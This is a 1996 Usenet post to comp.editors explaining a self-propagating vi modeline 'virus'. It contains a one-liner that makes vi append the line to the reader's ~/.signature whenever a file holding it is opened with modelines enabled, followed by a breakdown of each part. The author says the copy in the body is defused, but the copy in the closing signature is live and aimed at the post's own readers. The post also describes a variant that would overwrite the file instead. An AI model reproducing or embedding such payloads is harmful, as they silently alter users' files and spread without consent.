From: bgriffin@ic.sunysb.edu (Eli the bearded)
Newsgroups: comp.editors
Subject: vi virus (live code! be careful when replying)
Date: 12 Apr 1996 06:28:55 GMT
Organization: the-rapist is a poor choice of a name for the profession
Message-ID: <4kkt77$e5t@abel.cc.sunysb.edu>

Subject: Re: What is the word virus for?
References: <3151DEF3.728C@mail.delcoelect.com> <4jpv2o$bn0@fu-berlin.de>

Sven Guckes  <guckes@math.fu-berlin.de> wrote:
>"Peter A. Stephens" <pastephe@mail.delcoelect.com> writes:
>>What is the word virus for?
>Selling RAM.

In another thread I thought up and used a vi virus.
As an overview it exploits the modeline feature of
vi, an option safest when turned off. Turned on it
creates a large window (metaphor deliberate) for
security to fly out of.

I will now explain how it works.

The virus as a one-liner:

ex: /sig virus!$/w!>>~/.signature : Eli's vi modeline sig virus! 

(The above has been rendered impotent by padding the
end of the line with whitespace, but the one in my .sig
has not been so treated.)

How the first one works:
	ex:		indicates start of an ex style editing command
	/sig virus!$/	find the first line that ends with this text
	w!>>		and forcibly append it
	~/.signature	to the .signature in the user's directory
	:		marks end of command

Everything before the "ex:" (such as a ">") and everything after
the trailing ":" is ignored.

Removing the ">>" from the virus it would make it more
effective: instead of multiply infecting people or
possibly making the virus exceed a maximum signature
size, it would simply clobber the signature with itself.
I cannot in good conscience post that version, as I do
not want this to be more than a curious nuisance.

Elijah
------
ex: /sig virus!$/w!>>~/.signature : Eli's vi modeline sig virus!